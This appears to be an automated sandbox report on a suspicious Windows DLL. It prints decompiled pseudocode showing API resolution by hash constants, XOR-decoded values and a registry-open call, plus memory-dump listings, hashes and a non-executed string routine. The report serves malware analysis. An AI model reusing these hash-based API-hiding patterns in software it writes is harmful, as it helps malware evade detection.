				_t51 = __ebp;
				_t49 = __eax;
				if(__eax != 0) {
					_t42 = _a16;
					goto L1;
				} else {
					do {
						__edx =  &_a48;
						__ecx =  &_a40;
						__eax = E6E66A0D0( &_a40,  &_a48);
						__edx = _a44;
						__ecx =  &_a52;
						__eax = E6E6683B0( &_a52);
						__esi = _a52;
						__ecx = __esi;
						__edx = 0x7fffffff;
						__eax = E6E676040(__esi, 0x7fffffff);
						__ecx = __esi;
						__edx = __eax;
						__esi = __eax;
						__ecx =  &_a52;
						__eax = E6E670B10( &_a52);
						if(__esi != __edi) {
							__ecx =  &_a48;
							__eax = E6E668CA0( &_a48);
							__ebx = __ebx + 1;
							goto L12;
						} else {
							__edi = _a36;
							__ecx =  &_a48;
							__esi =  *(__ecx - 0x10);
							__eax = E6E668CA0(__ecx);
							if(__edi != 0) {
								__ecx =  *(__esp + 0x1c);
								__eax = E6E6696D0( *(__esp + 0x1c), 0x5c);
							}
							__ecx =  *(__esp + 0x20);
							__eax = E6E670220( *(__esp + 0x20), _a40, 0);
							_a12 = 0;
							__eax = E6E6615C0(0x3ab94787, 0xd5493f9);
							__edx = __eax;
							if(__eax == 0) {
								__edx = 0;
							} else {
								__eax =  &_a20;
								__ecx =  *(__eax - 0xc);
								__ecx =  ==  ?  *((void*)(__eax - 0x10)) :  *(__eax - 0xc);
								__ebx = __eax[1];
								__eax = RegOpenKeyExW( *(__esp + 0x68),  *(__eax[1]), 0, __ecx, __eax); // executed
								__edx = __eax;
							}
							__ebx = _a20;
							if(__ebx == 0 || __ebx == 0xffffffff) {
								L34:
								__ebx = _a16;
								__esi = __edx;
								L1:
								if( *((char*)(_t42 + 8)) == 0) {
									L9:
									 *((intOrPtr*)(_t42 + 4)) = _t51;
									 *((char*)(_t42 + 8)) = 1;
									E6E668CA0( &_a40);
									 *_t42 = _t49;
									return _t49;
								} else {
									_t48 =  *((intOrPtr*)(_t42 + 4));
									if(_t48 == 0 || _t48 == 0xffffffff) {
										_t45 = 1;
									} else {
										_t45 = 0;
									}
									if(_t45 != 0) {
										goto L9;
									} else {
										_t41 = E6E6615C0(0x3ab94787, 0x91935d4e);
										if(_t41 == 0) {
											goto L9;
										} else {
											_push(_t48);
											asm("int3");
											return _t41;
										}
									}
								}
							} else {
								if(__esi == 0) {
									L30:
									__edi =  &(__edi[0]);
									__ebp = __ebx;
									if(__edi < _a28) {
										__esi = 1;
										__eax = __edi * 4;
										__ecx =  *(__esp + 0x58);
										__eax = E6E679640( *(__esp + 0x58), __edi * 4);
										__eax =  *__eax;
										__ebx = 0;
										__eax = __eax ^ 0x38ba5c7b;
										_a32 = __edi;
										__edi = __eax;
										_a28 = 1;
										goto L12;
									} else {
										goto L34;
									}
								} else {
									if(__ebp == 0 || __ebp == 0xffffffff) {
										__eax = 1;
									} else {
										__eax = 0;
									}
									if(__eax != 0) {
										goto L30;
									} else {
										_v0 = __edx;
										__eax = E6E6615C0(0x3ab94787, 0x91935d4e);
										__edx = _v8;
										if(__eax == 0) {
											goto L30;
										} else {
											_push(__ebp);
											_v0 = __edx;
											asm("int3");
											return __eax;
										}
									}
								}
							}
						}
						goto L35;
						L12:
						__eax = E6E6615C0(0x3ab94787, 0xf561ae8b);
					} while (__eax == 0);
					__edx = _a44;
					__edx = _a44 >> 1;
					_push(_a44 >> 1);
					_push(_a40);
					_push(__ebx);
					_push(__ebp);
					asm("int3");
					return __eax;
				}
				L35:
			}

0x6e67c405
0x6e67c405
0x6e67c409
0x6e67c52e
0x00000000
0x6e67c40f
0x6e67c40f
0x6e67c40f
0x6e67c414
0x6e67c418
0x6e67c41d
0x6e67c421
0x6e67c425
0x6e67c42a
0x6e67c42e
0x6e67c430
0x6e67c435
0x6e67c43a
0x6e67c43c
0x6e67c443
0x6e67c445
0x6e67c449
0x6e67c450
0x6e67c51f
0x6e67c523
0x6e67c528
0x00000000
0x6e67c456
0x6e67c456
0x6e67c45a
0x6e67c45e
0x6e67c461
0x6e67c468
0x6e67c46c
0x6e67c470
0x6e67c470
0x6e67c47b
0x6e67c47f
0x6e67c484
0x6e67c496
0x6e67c49b
0x6e67c49f
0x6e67c4c3
0x6e67c4a1
0x6e67c4a5
0x6e67c4a9
0x6e67c4ac
0x6e67c4b4
0x6e67c4bd
0x6e67c4bf
0x6e67c4bf
0x6e67c4c5
0x6e67c4cb
0x6e67c537
0x6e67c537
0x6e67c53b
0x6e67c337
0x6e67c33b
0x6e67c36c
0x6e67c36c
0x6e67c373
0x6e67c377
0x6e67c37c
0x6e67c387
0x6e67c33d
0x6e67c33d
0x6e67c342
0x6e67c34d
0x6e67c349
0x6e67c349
0x6e67c349
0x6e67c354
0x00000000
0x6e67c356
0x6e67c360
0x6e67c367
0x00000000
0x6e67c369
0x6e67c369
0x6e67c36a
0x6e67c36b
0x6e67c36b
0x6e67c367
0x6e67c354
0x6e67c4d2
0x6e67c4d4
0x6e67c510
0x6e67c510
0x6e67c511
0x6e67c517
0x6e67c3ba
0x6e67c3bf
0x6e67c3c7
0x6e67c3cb
0x6e67c3d0
0x6e67c3d2
0x6e67c3d4
0x6e67c3d9
0x6e67c3dd
0x6e67c3df
0x00000000
0x6e67c51d
0x00000000
0x6e67c51d
0x6e67c4d6
0x6e67c4d8
0x6e67c4e3
0x6e67c4df
0x6e67c4df
0x6e67c4df
0x6e67c4ea
0x00000000
0x6e67c4ec
0x6e67c4f6
0x6e67c4fa
0x6e67c4ff
0x6e67c504
0x00000000
0x6e67c506
0x6e67c506
0x6e67c507
0x6e67c50b
0x6e67c50c
0x6e67c50c
0x6e67c504
0x6e67c4ea
0x6e67c4d4
0x6e67c4cb
0x00000000
0x6e67c3e3
0x6e67c3ed
0x6e67c3f2
0x6e67c3f6
0x6e67c3fa
0x6e67c3fc
0x6e67c3fd
0x6e67c401
0x6e67c402
0x6e67c403
0x6e67c404
0x6e67c404
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,00000000,3AB94787,0D5493F9,?,00000000), ref: 6E67C4BD

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction ID: 92b403ba7f7e24d462e21f8a2efd5be0942e04ce39f77b127243f52935263d8e
Opcode Fuzzy Hash: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction Fuzzy Hash: AC21D9316183019BDB60DFA4C890A6FB3E5AFCA758F104E1CF4665F295EB31EC058B92

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E677660, Relevance: 4.5, Strings: 3, Instructions: 793
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6E677660(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				signed int _v32;
				intOrPtr* _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _t203;
				signed int _t206;
				signed int* _t207;
				signed int* _t216;
				signed int _t217;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int* _t234;
				signed int _t236;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int* _t248;
				signed int _t250;
				signed int _t251;
				signed int _t259;
				signed int _t262;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int* _t269;
				signed int _t271;
				signed int _t272;
				signed int _t275;
				signed int _t280;
				signed int* _t281;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t294;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int* _t316;
				signed int _t324;
				signed int _t326;
				unsigned int _t331;
				signed int _t333;
				signed int* _t335;
				signed int _t337;
				signed int* _t339;
				char _t340;
				char _t341;
				signed int _t343;
				intOrPtr* _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				signed int _t349;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				unsigned int _t372;
				signed int _t374;
				signed int* _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t380;
				intOrPtr* _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				intOrPtr* _t386;
				void* _t387;
				signed int _t388;
				intOrPtr* _t390;
				unsigned int _t396;
				signed int _t398;
				void* _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t422;
				signed int _t428;
				signed int _t429;
				unsigned int _t434;
				signed int _t437;
				void* _t439;
				void* _t441;

				_t439 = (_t437 & 0xfffffff0) - 0x34;
				_t390 = __ecx;
				_t303 =  *__ecx;
				if(_t303 != 0) {
					_t343 =  *( *( *(__ecx + 4)));
					__eflags = _t343;
					if(_t343 == 0) {
						L35:
						_push(0x40);
						_t284 = E6E661030();
						_t439 = _t439 + 4;
						__eflags =  *_t390 - 1;
						 *_t284 = 0;
						if( *_t390 <= 1) {
							goto L203;
						} else {
							_t415 = 0x40;
							goto L37;
						}
					} else {
						__eflags =  *_t343;
						if( *_t343 == 0) {
							goto L35;
						} else {
							_t262 = _t343 & 0x0000000f;
							__eflags = _t262;
							if(_t262 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t294 =  ~( ~_t262 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								__eflags = _t294;
								_v64 = _t294;
								_t429 = _t294;
								while(1) {
									asm("movdqu xmm1, [edx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t294;
									if(_t294 != 0) {
										break;
									}
									_t262 = _t262 + 0x10;
									__eflags = _t262 - _t429;
									if(_t262 < _t429) {
										continue;
									} else {
										_v64 = _t429;
										__eflags = _v64 - 0x7fffffff;
										if(_v64 >= 0x7fffffff) {
											L23:
											_v64 = 0x7fffffff;
										} else {
											_t275 = _t429;
											while(1) {
												__eflags =  *((char*)(_t275 + _t343));
												if( *((char*)(_t275 + _t343)) == 0) {
													break;
												}
												_t275 = _t275 + 1;
												__eflags = _t275 - 0x7fffffff;
												if(_t275 < 0x7fffffff) {
													continue;
												} else {
													goto L23;
												}
												goto L24;
											}
											_v64 = _t275;
										}
									}
									goto L24;
								}
								asm("bsf ebx, ebx");
								_v64 = _t294 + _t262;
							} else {
								_v64 = 0;
								_t299 = _v64;
								_t262 =  ~_t262 + 0x10;
								__eflags = _t262;
								while(1) {
									__eflags =  *((char*)(_t299 + _t343));
									if( *((char*)(_t299 + _t343)) == 0) {
										break;
									}
									_t299 = _t299 + 1;
									__eflags = _t299 - _t262;
									if(_t299 < _t262) {
										continue;
									} else {
										goto L16;
									}
									goto L24;
								}
								_v64 = _t299;
							}
							L24:
							_t264 = _v64 + 1;
							__eflags = _t264 - 0x40;
							_t265 =  <=  ? 0x40 : _t264;
							__eflags = _t265;
							if(_t265 > 0) {
								_t434 = (_t265 >> 5 >> 0x1a) + _t265 >> 6;
								_t266 = _t265 & 0x8000003f;
								__eflags = _t266;
								if(_t266 < 0) {
									_t266 = (_t266 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t266;
								}
								__eflags = _t266;
								_t415 = _t434 + (0 | _t266 > 0x00000000) << 6;
								_push(_t415);
								_v68 = _t343;
								_t269 = E6E661030();
								_t385 = _v68;
								_t339 = _t269;
								_t439 = _t439 + 4;
								_v60 = 0;
								_v44 = _t339;
								_v36 = _t390;
								 *_t339 = 0;
								_v68 =  *_t390;
								_t298 = _v60;
								_t404 = _v64;
								while(1) {
									_t271 =  *_t385;
									_t298 = _t298 + 1;
									 *_t339 = _t271;
									__eflags = _t404;
									if(_t404 == 0) {
										goto L33;
									}
									__eflags = _t298 - _t404;
									if(_t298 == _t404) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
										_t339[0] = 0;
									} else {
										goto L33;
									}
									L206:
									__eflags = _t272 - 1;
									if(_t272 > 1) {
										goto L37;
									} else {
										goto L157;
									}
									goto L200;
									L33:
									__eflags = _t271;
									if(_t271 == 0) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
									} else {
										_t339 =  &(_t339[0]);
										_t385 = _t385 + 1;
										__eflags = _t385;
										continue;
									}
									goto L206;
								}
							} else {
								_t284 = 0;
								__eflags = _t303 - 1;
								if(_t303 <= 1) {
									L203:
									_t344 = _a4;
									_t203 = 0;
									 *_t344 = 0;
									 *((intOrPtr*)(_t344 + 4)) = 0;
									__eflags = _t284;
									if(_t284 == 0) {
										goto L191;
									} else {
										goto L158;
									}
								} else {
									_t415 = 0;
									L37:
									_t36 =  &_a8; // 0x6e683877
									_t308 =  *_t36 & 0x0000000f;
									asm("pxor xmm0, xmm0");
									_t359 =  ~_t308 + 0x10;
									__eflags = _t359;
									_v52 = _t359;
									_v56 = _t308;
									_v48 = _t415;
									_v36 = _t390;
									_t400 = 1;
									goto L38;
									do {
										do {
											do {
												L38:
												__eflags = _a8;
												if(_a8 != 0) {
													_t363 = _a8;
													__eflags =  *_t363;
													if( *_t363 != 0) {
														__eflags = _t284 - _a8;
														if(_t284 != _a8) {
															_t229 = _v56;
															__eflags = _t229;
															if(_t229 == 0) {
																L46:
																asm("pxor xmm1, xmm1");
																_t422 =  ~( ~_t229 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t422;
																while(1) {
																	asm("movdqu xmm0, [ecx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb edx, xmm0");
																	__eflags = _t363;
																	if(_t363 != 0) {
																		break;
																	}
																	_t229 = _t229 + 0x10;
																	__eflags = _t229 - _t422;
																	if(_t229 < _t422) {
																		continue;
																	} else {
																		__eflags = _t422 - 0x7fffffff;
																		if(_t422 >= 0x7fffffff) {
																			L53:
																			_t422 = 0x7fffffff;
																		} else {
																			_t363 = _a8;
																			while(1) {
																				__eflags =  *((char*)(_t422 + _t363));
																				if( *((char*)(_t422 + _t363)) == 0) {
																					goto L54;
																				}
																				_t422 = _t422 + 1;
																				__eflags = _t422 - 0x7fffffff;
																				if(_t422 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L53;
																				}
																				goto L54;
																			}
																		}
																	}
																	goto L54;
																}
																asm("bsf esi, edx");
																_t422 = _t422 + _t229;
															} else {
																_t229 = _v52;
																_t422 = 0;
																__eflags = 0;
																_t324 = _a8;
																_t363 = _t229;
																while(1) {
																	__eflags =  *((char*)(_t422 + _t324));
																	if( *((char*)(_t422 + _t324)) == 0) {
																		break;
																	}
																	_t422 = _t422 + 1;
																	__eflags = _t422 - _t363;
																	if(_t422 < _t363) {
																		continue;
																	} else {
																		_v52 = _t363;
																		goto L46;
																	}
																	goto L54;
																}
																_v52 = _t363;
															}
															L54:
															__eflags = _t284;
															if(_t284 == 0) {
																_t311 = 0;
															} else {
																_t239 = _t284 & 0x0000000f;
																__eflags = _t239;
																if(_t239 == 0) {
																	L59:
																	asm("pxor xmm1, xmm1");
																	_t311 =  ~( ~_t239 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																	__eflags = _t311;
																	while(1) {
																		asm("movdqu xmm0, [ebx+eax]");
																		asm("pcmpeqb xmm0, xmm1");
																		asm("pmovmskb edx, xmm0");
																		__eflags = _t363;
																		if(_t363 != 0) {
																			break;
																		}
																		_t239 = _t239 + 0x10;
																		__eflags = _t239 - _t311;
																		if(_t239 < _t311) {
																			continue;
																		} else {
																			__eflags = _t311 - 0x7fffffff;
																			if(_t311 >= 0x7fffffff) {
																				L65:
																				_t311 = 0x7fffffff;
																			} else {
																				while(1) {
																					__eflags =  *((char*)(_t311 + _t284));
																					if( *((char*)(_t311 + _t284)) == 0) {
																						goto L66;
																					}
																					_t311 = _t311 + 1;
																					__eflags = _t311 - 0x7fffffff;
																					if(_t311 < 0x7fffffff) {
																						continue;
																					} else {
																						goto L65;
																					}
																					goto L66;
																				}
																			}
																		}
																		goto L66;
																	}
																	asm("bsf ecx, edx");
																	_t311 = _t311 + _t239;
																} else {
																	_t311 = 0;
																	_t239 =  ~_t239 + 0x10;
																	__eflags = _t239;
																	while(1) {
																		__eflags =  *((char*)(_t311 + _t284));
																		if( *((char*)(_t311 + _t284)) == 0) {
																			goto L66;
																		}
																		_t311 = _t311 + 1;
																		__eflags = _t311 - _t239;
																		if(_t311 < _t239) {
																			continue;
																		} else {
																			goto L59;
																		}
																		goto L66;
																	}
																}
															}
															L66:
															_t55 = _t311 + 1; // 0x80000000
															_t312 = _t422 + _t55;
															__eflags = _t312;
															if(_t312 != 0) {
																__eflags = _t312 - 0x40;
																_t313 =  <=  ? 0x40 : _t312;
																__eflags = _t313 - _v48;
																if(_t313 > _v48) {
																	goto L71;
																}
																goto L83;
															} else {
																__eflags = _t284;
																if(_t284 == 0) {
																	__eflags = _v48 - 0x40;
																	if(_v48 >= 0x40) {
																		goto L97;
																	} else {
																		goto L213;
																	}
																	goto L225;
																} else {
																	 *_t284 = 0;
																	_t365 = 0;
																	__eflags = _v48 - 0x40;
																	if(_v48 < 0x40) {
																		L213:
																		_t313 = 0x40;
																		L71:
																		_t372 = (_t313 >> 5 >> 0x1a) + _t313 >> 6;
																		_v48 = _t372;
																		_t315 = _t313 & 0x8000003f;
																		__eflags = _t315;
																		if(_t315 < 0) {
																			_t315 = (_t315 - 0x00000001 | 0xffffffc0) + 1;
																			__eflags = _t315;
																		}
																		__eflags = _t315;
																		_t374 = _t372 + (0 | _t315 > 0x00000000) << 6;
																		_v48 = _t374;
																		_push(_t374);
																		_t234 = E6E661030();
																		_v68 = _t234;
																		_t439 = _t439 + 4;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			 *_t234 = 0;
																		} else {
																			__eflags = _v68;
																			if(_v68 != 0) {
																				_t376 = _t234;
																				_t236 =  *_t284;
																				 *_t376 = _t236;
																				__eflags = _t236;
																				if(_t236 != 0) {
																					_v32 = _t400;
																					_t237 = 0;
																					__eflags = 0;
																					_t316 = _t376;
																					while(1) {
																						_t237 = _t237 + 1;
																						_t377 =  *((char*)(_t284 + _t237 * 2 - 1));
																						 *(_t316 + _t237 * 2 - 1) = _t377;
																						__eflags = _t377;
																						if(_t377 == 0) {
																							break;
																						}
																						_t378 =  *((char*)(_t284 + _t237 * 2));
																						 *(_t316 + _t237 * 2) = _t378;
																						__eflags = _t378;
																						if(_t378 != 0) {
																							continue;
																						}
																						break;
																					}
																					_t400 = _v32;
																				}
																			}
																			_push(1);
																			_push(_t284);
																			E6E6610B0();
																			_t439 = _t439 + 8;
																		}
																		_t284 = _v68;
																		L83:
																		_t314 = _t284;
																		__eflags = _t284;
																		if(_t284 != 0) {
																			_t365 =  *_t284;
																			goto L85;
																		}
																	} else {
																		_t314 = _t284;
																		L85:
																		__eflags = _t365;
																		if(_t365 != 0) {
																			_t367 = 0;
																			__eflags = 0;
																			while(1) {
																				_t367 = _t367 + 1;
																				_t231 = _t284 + _t367 * 2;
																				__eflags =  *(_t231 - 1);
																				_t78 = _t231 - 1; // -1
																				_t314 = _t78;
																				if( *(_t231 - 1) == 0) {
																					goto L89;
																				}
																				_t314 = _t231;
																				__eflags =  *_t231;
																				if( *_t231 != 0) {
																					continue;
																				}
																				goto L89;
																			}
																		}
																		L89:
																		_t366 = _t314;
																		__eflags = _t422;
																		if(__eflags != 0) {
																			if(__eflags > 0) {
																				goto L92;
																			}
																		} else {
																			_t422 = 0x7fffffff;
																			L92:
																			_v32 = _t400;
																			_t230 = 0;
																			__eflags = 0;
																			_v44 = _t284;
																			_t401 = _a8;
																			while(1) {
																				_t287 =  *((char*)(_t230 + _t401));
																				 *(_t230 + _t366) = _t287;
																				__eflags = _t287;
																				if(_t287 == 0) {
																					break;
																				}
																				_t85 = _t366 + 1; // 0x1
																				_t314 = _t230 + _t85;
																				_t230 = _t230 + 1;
																				__eflags = _t230 - _t422;
																				if(_t230 < _t422) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																			_t284 = _v44;
																		}
																		 *_t314 = 0;
																	}
																}
															}
														}
													}
												}
												L97:
												_t309 =  *(_v36 + 4);
												_t361 =  *( *(_t309 + _t400 * 4));
												__eflags = _t361;
												if(_t361 == 0) {
													goto L99;
												} else {
													__eflags =  *_t361;
													if( *_t361 != 0) {
														__eflags = _t361 - _t284;
														if(_t361 == _t284) {
															goto L99;
														} else {
															_t225 = _t361 & 0x0000000f;
															__eflags = _t225;
															if(_t225 == 0) {
																L106:
																asm("pxor xmm1, xmm1");
																_t428 =  ~( ~_t225 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t428;
																while(1) {
																	asm("movdqu xmm0, [edx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb ecx, xmm0");
																	__eflags = _t309;
																	if(_t309 != 0) {
																		break;
																	}
																	_t225 = _t225 + 0x10;
																	__eflags = _t225 - _t428;
																	if(_t225 < _t428) {
																		continue;
																	} else {
																		__eflags = _t428 - 0x7fffffff;
																		if(_t428 >= 0x7fffffff) {
																			L112:
																			_t428 = 0x7fffffff;
																		} else {
																			while(1) {
																				__eflags =  *((char*)(_t428 + _t361));
																				if( *((char*)(_t428 + _t361)) == 0) {
																					goto L113;
																				}
																				_t428 = _t428 + 1;
																				__eflags = _t428 - 0x7fffffff;
																				if(_t428 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L112;
																				}
																				goto L113;
																			}
																		}
																	}
																	goto L113;
																}
																asm("bsf esi, ecx");
																_t428 = _t428 + _t225;
															} else {
																_t428 = 0;
																_t225 =  ~_t225 + 0x10;
																__eflags = _t225;
																while(1) {
																	__eflags =  *((char*)(_t428 + _t361));
																	if( *((char*)(_t428 + _t361)) == 0) {
																		goto L113;
																	}
																	_t428 = _t428 + 1;
																	__eflags = _t428 - _t225;
																	if(_t428 < _t225) {
																		continue;
																	} else {
																		goto L106;
																	}
																	goto L113;
																}
															}
															L113:
															__eflags = _t284;
															if(_t284 == 0) {
																_t226 = 0;
															} else {
																_t337 = _t284 & 0x0000000f;
																__eflags = _t337;
																if(_t337 == 0) {
																	L118:
																	asm("pxor xmm1, xmm1");
																	_v32 = _t400;
																	_t226 =  ~( ~_t337 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																	__eflags = _t226;
																	while(1) {
																		asm("movdqu xmm0, [ebx+ecx]");
																		asm("pcmpeqb xmm0, xmm1");
																		asm("pmovmskb edi, xmm0");
																		__eflags = _t400;
																		if(_t400 != 0) {
																			break;
																		}
																		_t337 = _t337 + 0x10;
																		__eflags = _t337 - _t226;
																		if(_t337 < _t226) {
																			continue;
																		} else {
																			_t400 = _v32;
																			__eflags = _t226 - 0x7fffffff;
																			if(_t226 >= 0x7fffffff) {
																				L124:
																				_t226 = 0x7fffffff;
																			} else {
																				while(1) {
																					__eflags =  *((char*)(_t226 + _t284));
																					if( *((char*)(_t226 + _t284)) == 0) {
																						goto L125;
																					}
																					_t226 = _t226 + 1;
																					__eflags = _t226 - 0x7fffffff;
																					if(_t226 < 0x7fffffff) {
																						continue;
																					} else {
																						goto L124;
																					}
																					goto L125;
																				}
																			}
																		}
																		goto L125;
																	}
																	_t259 = _t400;
																	asm("bsf eax, eax");
																	_t400 = _v32;
																	_t226 = _t259 + _t337;
																} else {
																	_t226 = 0;
																	_t337 =  ~_t337 + 0x10;
																	__eflags = _t337;
																	while(1) {
																		__eflags =  *((char*)(_t226 + _t284));
																		if( *((char*)(_t226 + _t284)) == 0) {
																			goto L125;
																		}
																		_t226 = _t226 + 1;
																		__eflags = _t226 - _t337;
																		if(_t226 < _t337) {
																			continue;
																		} else {
																			goto L118;
																		}
																		goto L125;
																	}
																}
															}
															L125:
															_t100 = _t226 + 1; // 0x80000000
															_t227 = _t428 + _t100;
															__eflags = _t227;
															if(_t227 != 0) {
																__eflags = _t227 - 0x40;
																_t228 =  <=  ? 0x40 : _t227;
																__eflags = _t228 - _v48;
																if(_t228 > _v48) {
																	goto L130;
																}
																goto L142;
															} else {
																__eflags = _t284;
																if(_t284 == 0) {
																	__eflags = _v48 - 0x40;
																	if(_v48 >= 0x40) {
																		goto L214;
																	} else {
																		goto L224;
																	}
																} else {
																	 *_t284 = 0;
																	_t242 = 0;
																	__eflags = _v48 - 0x40;
																	if(_v48 < 0x40) {
																		L224:
																		_t228 = 0x40;
																		L130:
																		_t331 = (_t228 >> 5 >> 0x1a) + _t228 >> 6;
																		_v48 = _t331;
																		_t245 = _t228 & 0x8000003f;
																		__eflags = _t245;
																		if(_t245 < 0) {
																			_t245 = (_t245 - 0x00000001 | 0xffffffc0) + 1;
																			__eflags = _t245;
																		}
																		__eflags = _t245;
																		_t333 = _t331 + (0 | _t245 > 0x00000000) << 6;
																		_v48 = _t333;
																		_push(_t333);
																		_v64 = _t361;
																		_t248 = E6E661030();
																		_t361 = _v64;
																		_v60 = _t248;
																		_t439 = _t439 + 4;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			 *_t248 = 0;
																		} else {
																			__eflags = _v60;
																			if(_v60 != 0) {
																				_t335 = _t248;
																				_t250 =  *_t284;
																				 *_t335 = _t250;
																				__eflags = _t250;
																				if(_t250 != 0) {
																					_v64 = _t361;
																					_t251 = 0;
																					__eflags = 0;
																					_v32 = _t400;
																					while(1) {
																						_t251 = _t251 + 1;
																						_t383 =  *((char*)(_t284 + _t251 * 2 - 1));
																						 *(_t335 + _t251 * 2 - 1) = _t383;
																						__eflags = _t383;
																						if(_t383 == 0) {
																							break;
																						}
																						_t384 =  *((char*)(_t284 + _t251 * 2));
																						 *(_t335 + _t251 * 2) = _t384;
																						__eflags = _t384;
																						if(_t384 != 0) {
																							continue;
																						}
																						break;
																					}
																					_t361 = _v64;
																					_t400 = _v32;
																				}
																			}
																			_push(1);
																			_push(_t284);
																			_v64 = _t361;
																			E6E6610B0();
																			_t361 = _v64;
																			_t439 = _t439 + 8;
																		}
																		_t284 = _v60;
																		L142:
																		_t326 = _t284;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			goto L214;
																		} else {
																			_t242 =  *_t284;
																			goto L144;
																		}
																	} else {
																		_t326 = _t284;
																		L144:
																		__eflags = _t242;
																		if(_t242 != 0) {
																			_v32 = _t400;
																			_t244 = 0;
																			__eflags = 0;
																			while(1) {
																				_t244 = _t244 + 1;
																				_t403 = _t284 + _t244 * 2;
																				__eflags =  *(_t403 - 1);
																				_t326 = _t403 - 1;
																				if( *(_t403 - 1) == 0) {
																					break;
																				}
																				_t326 = _t403;
																				__eflags =  *_t403;
																				if( *_t403 != 0) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																		}
																		_t243 = _t326;
																		__eflags = _t428;
																		if(__eflags != 0) {
																			if(__eflags > 0) {
																				goto L152;
																			}
																		} else {
																			_t428 = 0x7fffffff;
																			L152:
																			_v40 = 0;
																			_v32 = _t400;
																			_v44 = _t284;
																			_t402 = _v40;
																			while(1) {
																				_t288 =  *((char*)(_t402 + _t361));
																				 *(_t402 + _t243) = _t288;
																				__eflags = _t288;
																				if(_t288 == 0) {
																					break;
																				}
																				_t141 = _t243 + 1; // 0x1
																				_t326 = _t402 + _t141;
																				_t402 = _t402 + 1;
																				__eflags = _t402 - _t428;
																				if(_t402 < _t428) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																			_t284 = _v44;
																		}
																		goto L156;
																	}
																}
															}
														}
													} else {
														goto L99;
													}
												}
												goto L200;
												L99:
												_t400 = _t400 + 1;
												__eflags = _t400 -  *_v36;
											} while (_t400 <  *_v36);
											goto L203;
											L214:
											_t400 = _t400 + 1;
											__eflags = _t400 -  *_v36;
										} while (_t400 <  *_v36);
										_t380 = _a4;
										 *_t380 = 0;
										 *((intOrPtr*)(_t380 + 4)) = 0;
										L191:
										_push(0x40);
										_t407 = E6E661030();
										_t439 = _t439 + 4;
										_t206 =  *_a4;
										__eflags = _t206;
										if(_t206 == 0) {
											 *_t407 = 0;
										} else {
											__eflags = _t407;
											if(_t407 != 0) {
												_t345 =  *_t206;
												 *_t407 = _t345;
												__eflags = _t345;
												if(_t345 != 0) {
													_t304 = 0;
													__eflags = 0;
													while(1) {
														_t304 = _t304 + 1;
														_t346 =  *((char*)(_t206 + _t304 * 2 - 1));
														 *(_t407 + _t304 * 2 - 1) = _t346;
														__eflags = _t346;
														if(_t346 == 0) {
															goto L197;
														}
														_t347 =  *((char*)(_t206 + _t304 * 2));
														 *(_t407 + _t304 * 2) = _t347;
														__eflags = _t347;
														if(_t347 != 0) {
															continue;
														}
														goto L197;
													}
												}
											}
											L197:
											_push(1);
											_push(_t206);
											E6E6610B0();
											_t439 = _t439 + 8;
										}
										_t207 = _a4;
										 *_t207 = _t407;
										_t207[1] = 0x40;
										goto L200;
										L156:
										_t400 = _t400 + 1;
										 *_t326 = 0;
										__eflags = _t400 -  *_v36;
									} while (_t400 <  *_v36);
									L157:
